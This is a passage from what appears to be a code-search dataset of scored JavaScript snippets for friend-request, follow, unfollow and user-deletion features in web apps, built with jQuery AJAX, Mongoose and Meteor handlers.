(result) {\n $(\"#friendrequest-icon-\" + id).empty().append(\"<img onclick='followUser(\\\"\" + id + \"\\\")' title='Add Friend' class='add-friend-img' src='/Content/Assets/addFriend.png'/>\");\n }\n });\n}", "title": "" }, { "docid": "628c931aadeb37dbc4520579a68457a6", "score": "0.60296226", "text": "function NonFriend(props) {\n\n function remove(userId, friendId){\n props.addFriend(userId, friendId)\n }\n\n return (\n <div className='image-container'>\n <div>{this.props.friends.user_name}</div>\n <button onClick={remove}>add</button>\n </div>\n )\n }", "title": "" }, { "docid": "713f152a85bb88163a988e066a1cdf2e", "score": "0.6004916", "text": "remove(friend) {\n this.toAdd.splice(this.toAdd.indexOf(friend), 1);\n }", "title": "" }, { "docid": "d6e868800f795aba7571921ddd7ba21c", "score": "0.59243846", "text": "function ParseRejectFriendRequest(friendObjectId, ownerId, friendId, successFunction){\n var Friend = Parse.Object.extend(\"Friend\");\n var query = new Parse.Query(Friend);\n\n if (friendObjectId != null) {\n query.equalTo(\"objectId\",friendObjectId);\n } else {\n query.equalTo(\"owner\",ownerId);\n query.equalTo(\"friend\",friendId);\n }\n\n // query.first method will return a single Friend object to be found\n query.first({\n success:function(object){\n CacheRemoveFriend(object);\n object.destroy({\n success: function(object){\n successFunction(friendId);\n }\n });\n }\n });\n}", "title": "" }, { "docid": "0fbeec5ca7ea349b035bdc767468a7b7", "score": "0.5856937", "text": "removeFriend(username) {\n for (let i = 0; i < this._friends.length; i++){\n if (this._friends[i] === username) {\n this._friends.splice(i, 1);\n }\n }\n }", "title": "" }, { "docid": "42d53640bc1eb975517d8ae92dcfe4f9", "score": "0.584361", "text": "acceptRequest(fromId, toId, callback) {\n this.friend.findOneAndRemove({ $and: [\n { from: fromId }, \n { to: toId }\n ]}, \n (err, friend) => {\n this.user.findOneAndUpdate({\n _id: fromId\n }, \n { $push: { list_friend: toId } },\n (err, userX) => {\n if(err) {\n console.log('error occured');\n } else {\n this.user.findOneAndUpdate({\n _id: toId\n }, \n { $push: { list_friend: fromId } },\n function (err, friendY) {\n callback(err, true);\n }); \n }\n });\n });\n }", "title": "" }, { "docid": "f08140cf91d7daa022e22af627677bb0", "score": "0.5751268", "text": "unfollow() {\n this._xhr({\n url: this.url.replace(/identities/, 'following/users'),\n method: 'DELETE',\n syncable: {},\n });\n }", "title": "" }, { "docid": "deb2f20c18e88427f934f169f5e20cd7", "score": "0.56736183", "text": "function RejectFriend(newfriendname) {\n\t$.getJSON(\"/friend/ignore/\", {jid: newfriendname});\n\t$('#pending-table tr[pendingname= \"' + newfriendname + '\"]').remove();\n\t\n\t$.getJSON(\"/requests/\",\n\t\t\tfunction(data){\n\t\t\t\trefresh_pending_requests(data);\n\t\t\t\t\n\t\t\t\t//$('#subscribe_dialog').dialog('open');\n\t\t\t}\n\t);\n}", "title": "" }, { "docid": "b47806c724bcd48c3a4fed21ceb3f8a7", "score": "0.55412805", "text": "function establishFriendship(res, friend_id_1, friend_id_2) {\n User.findById(friend_id_1, (err, friend_1) => {\n if (err) {\n console.log('No such user found');\n } else {\n User.findById(friend_id_2, (err, friend_2) => {\n if (isDirectFriend(friend_2, friend_id_1) === true) {\n console.log(\"we're friend already\");\n res.redirect('/MyNetworks');\n return;\n }\n\n friend_1.direct_friends.push(friend_id_2);\n\n // remove both incoming&outgoing entries if any\n // This works but non-sense to me... why should I query again??\n User.update({\n _id: friend_id_1\n }, {\n $pull:\n { incoming_friends_requests: friend_id_2 }\n },\n (err, val) => {\n User.update({\n _id: friend_id_1\n }, {\n $pull:\n { outgoing_friends_requests: friend_id_2 }\n },\n (err, val) => {\n friend_1.save();\n });\n });\n\n // remove both incoming&outgoing entries if any\n // This works but non-sense to me... why should I query again??\n friend_2.direct_friends.push(friend_id_1);\n\n // remove both incoming&outgoing entries if any\n // This works but non-sense to me... why should I query again??\n User.update({\n _id: friend_id_2\n }, {\n $pull:\n { incoming_friends_requests: friend_id_1 }\n },\n (err, val) => {\n // Let's render with updated database...\n // remove both incoming&outgoing entries if any\n // This works but non-sense to me... why should I query again??\n User.update({\n _id: friend_id_2\n }, {\n $pull:\n { outgoing_friends_requests: friend_id_1 }\n },\n (err, val) => {\n friend_2.save();\n // Let's render with updated database...\n res.redirect('/MyNetworks');\n });\n });\n });\n }\n });\n }", "title": "" }, { "docid": "61fba7ffc16df2851631c9a0e9a41222", "score": "0.55370253", "text": "function removeFromFriends(currentUser, removingUser) {\n var deferred = Q.defer();\n\n UserModel.findById(currentUser._id, function (err, userCur) {\n if (err) {\n log.error(\"Can not find current user, error: \", err);\n deferred.reject(err);\n }\n UserModel.findById(removingUser._id, function (err, userDel) {\n if (err) {\n log.error(\"Can not find adding user, error: \", err);\n deferred.reject(err);\n }\n remove(userCur, userDel);\n });\n });\n\n function remove(userCur, userDel) {\n for (var i = 0; i < userCur.friends.length; i++) {\n if (userCur.friends[i].userName == userDel.userName) {\n userCur.friends.splice(i, 1);\n }\n }\n for (var i = 0; i < userDel.friends.length; i++) {\n if (userDel.friends[i].userName == userCur.userName) {\n userDel.friends.splice(i, 1);\n }\n }\n // save the user\n userCur.save(function (err) {\n if (err) {\n log.error(\"Error: \", err);\n deferred.reject(err);\n };\n userDel.save(function (err) {\n if (err) {\n log.error(\"Error: \", err);\n deferred.reject(err);\n };\n log.info(\"Friend removed!\");\n deferred.resolve();\n });\n });\n }\n\n return deferred.promise;\n}", "title": "" }, { "docid": "421b47211be31ceb584824f6fdb5afa4", "score": "0.5529074", "text": "async function httpGetUnfollowUser(req, res, next) {\n try {\n const currentUser = await User.findById(req.params.id);\n const allUsers = await User.find({ _id: { $ne: req.params.id } });\n //exclude all currentUser followings\n const unfollowedUsers = allUsers.filter(\n (user) => !currentUser.followings.includes(user._id)\n );\n\n return res.status(200).json(unfollowedUsers);\n } catch (err) {\n return next(createError(500, err));\n }\n}", "title": "" }, { "docid": "f613356dad651d72a3b13e864ae3198c", "score": "0.55114084", "text": "function initHandlers() {\n\n $(\".addfriendbutton\").click(function () {\n console.log(\"addfriendbutton clicked\");\n var str = \"addFriend&id=\";\n console.log(userId);\n $.ajax({\n url: '/rest/friends?id=' + $(this).attr('data-id'),\n type: \"POST\",\n dataType: \"json\",\n //data: JSON.stringify({\"friendid\": userId}),\n success: function (response) {\n console.log(response);\n showFriends();\n getUserInfo();\n },\n error: function (jqXHR, textStatus, errorThrown) {\n console.log(textStatus, errorThrown);\n }\n });\n });\n\n $(\".deletefriendbutton\").click(function () {\n console.log(\"deletefriendbutton clicked\");\n $.ajax({\n url: '/rest/friends?id=' + $(this).attr('data-id'),\n type: \"DELETE\",\n dataType: \"json\",\n //data: JSON.stringify({\"friendid\": userId}),\n success: function (response) {\n console.log(response);\n showFriends();\n getUserInfo();\n },\n error: function (jqXHR, textStatus, errorThrown) {\n console.log(textStatus, errorThrown);\n }\n });\n });\n}", "title": "" }, { "docid": "260560b3028551477e45fb03b030f0aa", "score": "0.5506452", "text": "function remove_noshow(button, url, user_id, event_id) {\n init_csrf();\n\n console.log(user_id, event_id)\n var data = {\n 'user_id': user_id,\n 'event_id': event_id\n };\n $.ajax({\n \"type\": \"POST\",\n \"dataType\": \"json\",\n \"url\": url,\n \"data\": data,\n \"success\": function (result) {\n\n if(result.status==='OK'){\n $(button).closest('li').remove()\n message_iportalen('success', 'No show borttagen');\n }\n else{\n message_iportalen('error', result.status);\n\n }\n\n },\n error: function (request, status, error) {\n message_iportalen('error', request.responseText);\n }\n });\n\n}", "title": "" }, { "docid": "50408fca15b9899886aa45c4352aa7a3", "score": "0.5475529", "text": "unbanChatMember(chatId, userId) {\n return this.request('/unbanChatMember', {\n chatId,\n userId,\n });\n }", "title": "" }, { "docid": "658fe67fde6ee545f949d229a0d8767a", "score": "0.5448259", "text": "function followUser(id) {\n $.ajax({\n method: \"POST\",\n url: \"/User/FriendRequest\",\n data: { user_id: id }\n })\n .success(function (result) {\n // Result is a boolean, indicates wether the request was successful or not.\n if (result) {\n $(\"#friendrequest-icon-\" + id).empty().append(\"<img onclick='unfollowUser(\\\"\" + id + \"\\\")' title='Add Friend' class='add-friend-img' src='/Content/Assets/removeFriend.png'/>\");\n }\n });\n}", "title": "" }, { "docid": "18e2e5eca6bba2d493f0719b3d6c1adc", "score": "0.5417069", "text": "function removefriendfromidea($ideaid,$friendid) {\r\n $ideaid=parseInt($ideaid);\r\n jQuery.ajax({\r\n type: \"POST\",\r\n url: base_url+'/include/functions/remove_friend_from_idea.php',\r\n dataType: 'json',\r\n data: {ideaid: $ideaid, friendid: $friendid},\r\n success: function (obj, textstatus) {\r\n if( !('error' in obj) ) {\r\n $remove_elem=document.getElementById(\"friend\"+$friendid);\r\n document.getElementById(\"Share\").removeChild($remove_elem);\r\n }\r\n else {\r\n console.log(obj.error);\r\n }\r\n }\r\n });\r\n}", "title": "" }, { "docid": "42ee42887b4144d1278dc993eb68dea6", "score": "0.5397863", "text": "unbanChatMember(\n chat_id,\n user_id\n ) {\n return this.request('unbanChatMember', this.buildQuery({\n 'chat_id': chat_id,\n 'user_id': user_id\n }));\n }", "title": "" }, { "docid": "7cb4e75ce006806c9bbec2088efa4242", "score": "0.5389929", "text": "buttonAction2(notif) {\n var index = globals.notifications.indexOf(notif)\n globals.notifications.splice(index, 1)\n this.setState({notifications: globals.notifications})\n\n var url = globals.base_url + 'api/removeNotification'\n var obj = globals.constructPacket({username: globals.user, notification: notif})\n var success = globals.sendPacket(obj, url, \n () => {\n console.log('[+] success accepted friend: ' + notif)\n }) \n }", "title": "" }, { "docid": "ed18c4c48e27ab0b181d4a732119d5a5", "score": "0.53736645", "text": "async removeUser(req, res) {\n const { username } = req.params;\n\n const userId = (await getUser.byUsername(username)).user_id;\n const user = await User.model\n .findOne()\n .where('userId').equals(userId);\n\n if (!user) return new HTTPError(404, `User ${username} was not found`).handle(res);\n if (!user.classroom.equals(req.classroom._id)) return new HTTPError(403, `User ${username} does not belong to classroom ${req.classroom.code}`).handle(res);\n\n return User.updateItem(user, { classroom: null }, async (error) => {\n if (error) return new HTTPError('Something went wrong').handle(res);\n return res.json({ data: { removed: [username] } });\n });\n }", "title": "" }, { "docid": "6206d95a55370d3ac528a640eb1ad8c9", "score": "0.5361302", "text": "delete(req, res) {\n\t\t\tPerson.remove({_id: req.params.person},(err) => {\n\t\t\t\tif(err) res.error(err)\n\t\t\t\tres.sendStatus(204)\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "e53d697232c6d19327185b435304d230", "score": "0.5347777", "text": "function deleteFriends(delFriendId,delText,profiveView)\n{\n var memId= localStorage.getItem(\"viewMemberId\");\n var userId = localStorage.getItem(\"userId\");\n\n // alert(memId+' '+profiveView);\n\n var siteName = localStorage.getItem(\"siteName\");\n\n siteUrl=siteName+\"/wp-content/plugins/dsp_dating/m1/dspProfileMemFriends.php\";\n\n if(delFriendId!=0)\n {\n var formData = {\n 'user_id': userId,\n 'member_id':memId,\n 'Action':'Del',\n 'friend_Id':delFriendId\n };\n\n if(confirm(delText))\n {\n $.ajax({\n type: \"GET\",\n url: siteUrl,\n cache: false,\n dataType: \"text\",\n data:formData,\n beforeSend: function() {\n $.mobile.showPageLoadingMsg(true);\n },\n complete: function() {\n $.mobile.hidePageLoadingMsg();\n },\n success: function (data, status)\n {\n // alert('succ memid='+memId);\n viewMemberProfile(memId,profiveView);\n },\n timeout: 10000,\n error: function (jqXHR, status,errorThrown)\n {\n var alertText = get_tranalation_by_code(\"DSP_NETWORK_PROBLEM\");\n alertText = alertText || 'Network error has occurred please try again!';\n navigator.notification.alert(\n alertText,\n null,\n null,\n 'ok'\n );\n } \n\n });\n}\n}\n}", "title": "" }, { "docid": "c40ee340fec4f94de0353949bb2b27ee", "score": "0.5342977", "text": "static async removeAddress(req, res) {\n let result,\n logger = Logger.create(\"removeAddress\", req.trackId);\n\n logger.info(\"enter\", req.params);\n\n // Try to update user profile.\n try {\n result = await UserSrv.client.removeItems(\n req.uid,\n new UserSrv.types.RemoveItemData({\n addresses: [req.params.id]\n }),\n logger.trackId\n );\n }\n catch(error) {\n logger.error(\"user service removeAddress error\", error);\n return res.serverError(error);\n }\n\n logger.info(\"user service removeAddress success\", result);\n res.success(result);\n }", "title": "" }, { "docid": "02f9a9b09b7941bf469d194556735e81", "score": "0.5327836", "text": "function declineFriendRequest(requesterId, requestedId){\n removeFriendRequest(requesterId, requestedId);\n }", "title": "" }, { "docid": "ae3a5334c61075f978a5c4be0c091618", "score": "0.53177017", "text": "function acceptFriendRequest(req, res, next) {\n var id = req.body.friendId;\n var user = req.user;\n \n User.findByIdAsync(id, \"_id email name\")\n .then(function(friend){\n if(!friend) {\n //the user probably erased his account\n throw new Error({status: 404, message: \"Can't find user\"});\n }\n\n var idx = user.friendRequests.indexOf(id);\n //remove from friendRequests\n if(idx !== -1) {\n user.friendRequests.splice(idx, 1);\n }\n\n //se if user is already on friend list\n var status = 200;\n idx = user.friends.indexOf(id);\n if(idx !== -1) {\n status = 204;\n } else {\n //add to my friends\n user.friends.addToSet(id);\n }\n \n user.saveAsync().then(function(){\n res.status(status).json(friend);\n }); \n })\n .catch(function(error){\n if(error && error.status) {\n res.status(error.status);\n } else {\n res.status(500).end();\n }\n });\n\n}", "title": "" }, { "docid": "bc88829cfa2232bc95218137727e9bd6", "score": "0.53116244", "text": "async function removeMemberFromList(req, res) {\n\n if (await canRemoveMember(req.body.user, req.params.memberId, req.params.listId)) {\n \n try {\n var list = await List.findOneAndUpdate(\n { \"_id\": req.params.listId, members: { $in: [req.params.memberId] }}, \n { $pull: { \"members\": req.params.memberId }});\n }\n catch (err) {\n res.status(404).json({ message: \"Could not update list\", err });\n return;\n }\n\n try {\n var user = await User.findOneAndUpdate(\n { \"_id\": req.params.memberId, listsIsMemberOf: { $in: [req.params.listId] } },\n { $pull: { \"listsIsMemberOf\": req.params.listId } });\n }\n catch (err) {\n try {\n var list = await List.findOneAndUpdate(\n { \"_id\": req.params.listId, members: { $nin: [req.params.memberId] }}, \n { $push: { \"members\": req.params.memberId }});\n }\n finally {\n res.status(404).json({ message: \"Could not update list\", err });\n }\n }\n\n res.status(200).json({ message: \"Successfully removed member from list\" });\n }\n else {\n res.status(403).json({ message: \"You do not have permission to remove this member\" });\n }\n}", "title": "" }, { "docid": "dabaa5ca5a99630bbe4b19d4f3d538d2", "score": "0.52990043", "text": "function befriend(userID, friendID, callback) {\n\t$.ajax({\n\t\turl: \"http://localhost:8888/checkFriendship\",\n\t\ttype: \"POST\",\n\t\tdataType: \"json\",\n\t\tdata: {userId: userID, friendId: friendID},\n\t\tstatusCode: {\n\t\t\t200: function(result) {\n\t\t\t\tcallback(true);\n\t\t\t},\n\t\t\t500: function() {\n\t\t\t\tcallback(false);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "1e2a6c1773e62e63facd23d99eb92db4", "score": "0.5296676", "text": "remove(req, res) {\n res.send(\"Delete user\")\n }", "title": "" }, { "docid": "ab54b6f4c037fc58c42c181b9a861fce", "score": "0.52959216", "text": "function deleteFollow1(req, res) {\n var userId = req.user.sub;\n var followId = req.params.id;\n\n Follow.find({ user: userId, followed: followId }).remove(err => {\n if (err)\n return res.status(500).send({ message: \"Error al dejar de seguir.\" });\n\n return res.status(200).send({ message: \"El follow se ha eliminado.\" });\n });\n}", "title": "" }, { "docid": "56bc093947fa5583f2ad462a1d949bc4", "score": "0.529571", "text": "function makeFriendRequest(requester, friend){\n if(!existsUser(requester))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + requester);\n\n if(!existsUser(friend))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + friend);\n\n if(areFriends(requester, friend))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"The users are already friends\");\n\n Meteor.users.update({\n _id: requester\n },\n {\n $addToSet: {\n 'friends.unconfirmed': friend\n }\n });\n\n Meteor.users.update({\n _id: friend\n },\n {\n $addToSet: {\n 'friends.requests': requester\n }\n });\n }", "title": "" }, { "docid": "db320137a55774821b1ebea84960c40b", "score": "0.5292693", "text": "function banUser(req, res) {\n User.findOne({ '_id': req.userID }, function(err, usr) {\n if (err) {\n console.log(err);\n } else {\n Rating.remove({ \"user\": req.userID }, function(err, rats) {\n if (err) {\n console.log(err);\n } else {\n User.remove({ '_id': req.userID }, function(err, rts) {\n if (err) {\n console.log(err);\n }\n });\n }\n })\n }\n });\n}", "title": "" }, { "docid": "6e733af3041044ef6cd7f4eac10e0b91", "score": "0.5280455", "text": "function acceptFriendRequest(userId, friendsUserId){\n if(!existsUser(userId))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + userId);\n\n if(!existsUser(friendsUserId))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + friendsUserId);\n\n Meteor.users.update({\n _id: userId\n },\n {\n $addToSet: {\n 'friends.confirmed': friendsUserId\n }\n });\n\n Meteor.users.update({\n _id: friendsUserId\n },\n {\n $addToSet: {\n 'friends.confirmed': userId\n }\n });\n\n removeFriendRequest(friendsUserId, userId);\n }", "title": "" }, { "docid": "2ccb6a5888a355e009776ddd0bab4539", "score": "0.5276561", "text": "function removeFav(favId){\n\n $('#favId'+favId).remove();\n var url = BASE_URL+'home/user/removeFavoriteFromList';\n\n $.ajax({\n type: \"POST\",\n url:url,\n data: {favId:favId}, //only input \n dataType: \"JSON\", \n beforeSend: function () { \n show_loader(); \n },\n success: function (data, textStatus, jqXHR) { \n\n hide_loader(); \n \n if (data.status == 1){ \n \n var count = $('#favCnt').html();\n var newCount = count - 1;\n if(newCount == 0){\n $('#favCnt').text('');\n }else{\n $('#favCnt').text(newCount);\n }\n \n if($('.newFavLen').length == 0){\n $('#favouriteList').html(\"<div class='notFound'><h3>No favourite available.</h3></div>\");\n }\n\n }else if(data.status == 2) {\n\n toastr.error(data.msg);\n window.setTimeout(function () {\n window.location.href = data.url;\n }, 2000);\n\n }else if(data.status == -1) {\n\n toastr.error(data.msg);\n window.setTimeout(function () {\n window.location.href = data.url;\n }, 2000);\n }else {\n\n toastr.error(data.msg);\n window.setTimeout(function () {\n window.location.href = data.url;\n }, 2000);\n } \n },\n\n error:function (){\n toastr.error(commonMsg);\n }\n });\n}", "title": "" }, { "docid": "fd886a6d15646847bcf2161670ec04aa", "score": "0.52761793", "text": "function removeUserThroughSocket(selectedListOfUsers)\n{\n if (selectedListOfUsers.length > 0)\n {\n var lastSelectedUser = $(selectedListOfUsers).last()[0]; \n \n var adminForm = document.getElementById(\"adminForm\");\n var fromId = adminForm.elements[\"fromId\"].value;\n var initiatedById = parseInt(fromId); \n \n var userId = parseInt(lastSelectedUser);\n var message = {\n action: \"removeUser\",\n initiatedById: initiatedById,\n userId: userId\n };\n //alert(\"will send selected user id to be deleted: \"+userId);\n socket.send(JSON.stringify(message));\n }\n}", "title": "" }, { "docid": "7cc4ecfcdcdcc73e6b18e3996be9aec2", "score": "0.52573264", "text": "function deleteForeignFriend(id, name) {\n var ally = findAlly(id);\n if (!connect.socket || (!isFriend(id) && !isAlly(id)))\n return;\n if (!confirm(_('Do you really want to MUTUALLY DELETE your connection to \\\"{NAME}\\\"?', { \"NAME\": name })))\n return;\n console.log(\"requesting delete of foreign friend \" + id);\n connect.socket.send(\"foreign.del \" + JSON.stringify({ \"id\": id }));\n}", "title": "" }, { "docid": "0f500d820c4694064be7b10718e045f0", "score": "0.5253428", "text": "function unfollow(req, res) {\n var decoded = jwt2.verify(req.headers['authorization'], config.secret);\n //update \"followed\" array of the current user\n User.findByIdAndUpdate(decoded._id, {$pull: {\"followed\": req.params.username}}, {new: true} , function(err,result) {\n if (err) {\n res.status(400);\n res.send(err);\n return;\n }\n //res.send({ \"text\": \"Account successfully unfollowed\", result });\n console.log(\"Account successfully unfollowed\");\n }).then(function(){\n //update \"followers\" array of the previously followed user\n User.findOneAndUpdate({username: req.params.username}, {$pull: {\"followers\": decoded.username}}, {new: true}, function(err,result) {\n if (err) {\n res.status(400);\n res.send(err);\n return;\n }\n //res.send({ \"text\": \"A follower unsuscribed\", result });\n console.log(\"A follower unsuscribed\");\n })\n })\n res.send({ \"text\": \"Account successfully unfollowed\"});\n}", "title": "" }, { "docid": "ec89ad58d289e1b703d2a4e924ba65cb", "score": "0.5227926", "text": "async deleteuser(req, res) {\n AuthService.deleteuser([req.params.userid])\n .then((user) => {\n res.status(user.status).send({\n status: user.status,\n message: user.message,\n });\n })\n .catch((err) => {\n res.status(400).send({\n status: 400,\n message: err.message,\n });\n });\n }", "title": "" }, { "docid": "f081903b6c0001ea73bcbd69b20cdd85", "score": "0.52128506", "text": "static deleteUser(req, res) {\n const { id } = req.params;\n\n User.findByIdAndUpdate(id, { status: 2 }, { new: true }, (err, result) => {\n if (err)\n res\n .status(404)\n .send({ message: \"Could not deleted the user\", error: err });\n else\n res.status(200).send({\n message: \"User deleted successsfully\",\n data: UserCtrl.pickUser(result),\n });\n });\n }", "title": "" }, { "docid": "94feaad1850b179846d2031edd64098e", "score": "0.52078515", "text": "deleteUser() {\n const { handleClose } = this.props;\n var reject = (response) => {\n toastr.error(response.message);\n };\n if (this.props.type == 'Student') {\n var route = ApiConstants.students.delete(this.props.id);\n } else if (this.props.type == 'Teacher') {\n var route = ApiConstants.teachers.delete(this.props.id);\n }\n var resolve = (response) => {\n this.props.refresh();\n toastr.success(\"User was successfully removed\");\n handleClose();\n };\n Requester.delete(\n route,\n resolve,\n reject,\n );\n }", "title": "" }, { "docid": "cee87d56a977183ec8caf5bee46193fb", "score": "0.5198792", "text": "function removeItemFromList(req, res) {}", "title": "" }, { "docid": "81c38b0554177840808f8326c5e1d170", "score": "0.5198501", "text": "function deleteUsers(req,callback,status) {\n\n\t\ttry {\n\n\t\t\t\tlet sql= \"DELETE FROM users WHERE user_id = ('\"+req.user_id+\"')\";\n\t\t database.con.query(sql, function (err, result) {\n\n\t\t \t\t\tvar res={}\n\t\t\t\t\t\tif(err) {\n\t\t\t\t\t\t\t\tres.msg = \"error\"\n\t\t\t\t\t\t\t\tcallback(400,'error');\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tres.msg = (\"user deleted\")\n\t\t\t\t\t\t\t\tcallback( 200,\"Success\", res);\n\t\t\t\t\t\t}\n\t\t});\n\n\t\t} catch(ex) {\n\t\t console.log(ex)\n\t\t callback(400,'error');\n\t\t}\n}", "title": "" }, { "docid": "3f5c595f2e7a2fccf885b121e9922661", "score": "0.51954293", "text": "function deleteUser (req, res) {\r\n\r\n let { user_id } = req.params;\r\n let user;\r\n let initialUserL = userDB.length;\r\n userDB = userDB.filter(function (user) {\r\n return user.user_id != user_id;\r\n })\r\n if (initialUserL == userDB.length) {\r\n return res.status(404).json({\r\n status: \"failure\",\r\n message: \"user not found\"\r\n })\r\n }\r\n\r\n res.status(200).json({\r\n status: \"success\",\r\n user: \"User Deleted\"\r\n })\r\n}", "title": "" }, { "docid": "d449b5a4480df4fcfa622d292798c3c6", "score": "0.5188492", "text": "removeUser (callback) {\n\t\tthis.removedUser = this.users[2].user;\n\t\tthis.doApiRequest(\n\t\t\t{\n\t\t\t\tmethod: 'put',\n\t\t\t\tpath: '/teams/' + this.team.id,\n\t\t\t\tdata: {\n\t\t\t\t\t$push: {\n\t\t\t\t\t\tremovedMemberIds: this.removedUser.id\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\ttoken: this.token\n\t\t\t},\n\t\t\tcallback\n\t\t);\n\t}", "title": "" }, { "docid": "691d9dc2685a172772c46bd5796d0b67", "score": "0.5164037", "text": "deleteProspect(req, res, next) {\n User.findByIdAndRemove({ _id: req.params.id }).then(function(user) {\n res.send(user);\n });\n }", "title": "" }, { "docid": "a7e57ad639daf85ed04ad75dcdd2915c", "score": "0.5124834", "text": "function deleteUser(req, res){\n var data = req.body;\n if(data.userID == ''){\n res.send({message: 'No se pueden utilizar campos vacios'});\n }else{\n mysqlFunctions.query('Call sp_dropUserInformation(?)', [data.userID], (err, rows,fields)=>{\n if(err){\n res. status(500).send({message: 'Error general en el sistema'});\n }else if(rows){\n res.send({message: 'Usuario Eliminado'});\n }else{\n res.status(402).send({message: 'No se pudo realizar la peticion'});\n }\n });\n }\n\n}", "title": "" }, { "docid": "1fe9f1bc250de2457445e24bcdce0cfd", "score": "0.5122862", "text": "function removeUserFromType(userID, idType, typeID) {\r\n\t\r\n\tvar options = new Object();\r\n\toptions.userID = userID;\r\n\toptions.idType = idType;\r\n\toptions.typeID = typeID;\r\n\t\r\n\t$.ajax({\r\n\t\turl: '/ajax/remove-user-from-type',\r\n\t\ttype: 'POST',\r\n\t\tdata: {options: options},\r\n\t\tsuccess: function(data) {\r\n\t\t}\r\n\t})\r\n}", "title": "" }, { "docid": "48aa8d0f82a587f0c68b12907c9d57f2", "score": "0.5117178", "text": "function updateFriendship(req, res, dbResults) {\n let status = dbResults.status;\n //console.log('status is: ', status);\n\n //set sender and receiver to keep these the same in database\n let sender = dbResults.sender_id;\n\n let receiver = sender == req.session.user.id ? req.params.id : req.session.user.id;\n\n let data = [sender, receiver];\n //console.log('sender - receiver', data);\n //if it says accepted than it is being changed to terminated\n if(status == ACCEPTED) {\n //console.log('Accepted to terminated');\n data.push(TERMINATED);\n } else if (status == PENDING) {\n\n //Just got status from db. If it is pending there's 3 possible responses\n //1) reject in this case there will be params in the body that say reject\n //2) if the current user is sender it is to cancel request\n //3) If the current user is the receiver it is to accept request\n if(req.body.reject) {\n // console.log('Pending to reject');\n data.push(REJECTED);\n } else {\n if(req.session.user.id == dbResults.sender_id){\n // console.log('Pending to cancelled');\n data.push(CANCELLED);\n } else {\n // console.log('Pending to accept');\n data.push(ACCEPTED);\n }\n }\n } else {\n //if it says terminated, cancelled, or rejected we are changing it to pending and updating the user ids\n //console.log('terminated, cancelled or rejected to Pending');\n\n //reset sender and receiver just in case the sender in the previous situation is now the receiver.\n sender = req.session.user.id;\n receiver = req.params.id;\n data = [sender, receiver, PENDING];\n }\n\n return dbQuery.updateFriendship(data).then((results) => {\n //console.log('HANDLER updateFriendship results: ', results[0].status);\n\n //Turn the status back into a word that React can use to render the correct button\n let friendshipStatus = determineReturnStatus(req.session.user.id, {sender_id: sender, status: results[0].status });\n\n //console.log(friendshipStatus);\n return res.json({\n status: results[0].status,\n friendshipStatus: friendshipStatus\n });\n }).catch(e => {\n console.error(e.stack);\n return res.json({\n error: e\n });\n });\n}", "title": "" }, { "docid": "8109f26903133da2c0c0952b69e2af86", "score": "0.5109324", "text": "function favouritesDeleteRoute(req, res, next) {\n req.currentUser.favourites = req.currentUser.favourites.filter(visor => {\n return !visor._id.equals(req.params.id);\n });\n req.currentUser.save()\n .then(() => res.redirect(`/visors/${req.params.id}`))\n .catch(next);\n}", "title": "" }, { "docid": "6d8d78952949ca27f099f158f81b8bd3", "score": "0.5101525", "text": "function removePlusOne(){\n \"use strict\";\n jQuery.ajax({\n url: ajaxurl,\n type: \"POST\",\n cache: false,\n data: {action: \"updateplusone\", id: userid, fname: '', lname: '', isattending: 0},\n dataType: \"json\",\n success: function (data) {\n }\n });\n populateForm();\n}", "title": "" }, { "docid": "b0555df4111070bde89cddf7add495ce", "score": "0.51008934", "text": "function delete_friend(id) {\n console.log(\"delete_friend called with id: \" + id);\n var trans = db.transaction(\"friends\", \"readwrite\");\n var store = trans.objectStore(\"friends\");\n var request = store.delete(id);\n console.log(\"delete called\");\n request.oncomplete = function () {\n console.log(\"friend deleted, id: \" + id);\n }\n request.onerror = function () {\n console.log(\"Error deleting item from database\");\n }\n}", "title": "" }, { "docid": "a87604b1a86630e2e64b2c927f0b3bc2", "score": "0.50993496", "text": "deleteUserFromList(userId, userName){\n const functions = new Functions();\n const render = new Render();\n const _this = this;\n\n if(functions.isSessionToken()) {\n const sessionToken = functions.isSessionToken();\n $.ajax({\n url: `http://restapi.fintegro.com/social-activities/${userId}`, \n method: 'DELETE',\n dataType: 'json', \n headers: {\n bearer: sessionToken\n },\n\n success: function(data) {\n functions.showModal('successModal', 'body', `${userName} succesfully deleted.`);\n setTimeout(function(){\n functions.deleteModal('successModal')\n }, 2000);\n }\n });\n } else {\n this.redirectToLogin();\n }\n }", "title": "" }, { "docid": "12bc1461c862d3ed8e72b8bbf5f5d2f8", "score": "0.5097992", "text": "function get_friend_list() {\n let friendlist = [];\n $.post(\n 'http://' + auth_server + ':8081/api/friend/list',\n {\n token: token\n },\n function (data) {\n if (!data.success) {\n console.log(data.msg);\n } else {\n\n $(\".user_box\").not(\"#add-friend-box\").each(function () {\n let found = false;\n for(let friend in data.friends) {\n if($(this).prop(\"id\") == friend.name) {\n found = true;\n break;\n }\n }\n if(!found)\n $(this).remove();\n });\n\n let hide = true;\n $(\".user_box\").each(function(){\n if($(this).is(\":hidden\")) {\n hide = true;\n }\n else {\n hide = false;\n }\n });\n\n data.friends.forEach(function (friend) {\n let s = $('#friends_list').find('#list_item_' + friend.name);\n if(s.length == 0) {\n let element = $(\"<li class=\\\"list-group-item user_box\\\" id='list_item_\" + friend.name + \"'></li>\");\n let input_group = $(\"<div class=\\\"input-group\\\" id=\\\"input-group-\" + friend.name + \"\\\"></div>\");\n let indicator = $(\"<div id=\\\"online-indicator\\\"></div>\");\n if (!friend.online) {\n indicator.css(\"background-color\", \"red\");\n }\n input_group.append(indicator);\n input_group.append(\"<div id='friend_id'>\" + friend.name + \" </div>\");\n\n let input_group_btn = $(\"<div class=\\\"input-group-btn\\\"></div>\");\n\n if (!friend.confirm) {\n let confirm_btn = $(\"<button type=\\\"button\\\" class=\\\"btn btn-default glyphicon glyphicon glyphicon-ok\\\" id='\" + friend.name + \"'></button>\")\n .click(function () {\n $.post(\n 'http://' + auth_server + ':8081/api/friend/accept',\n 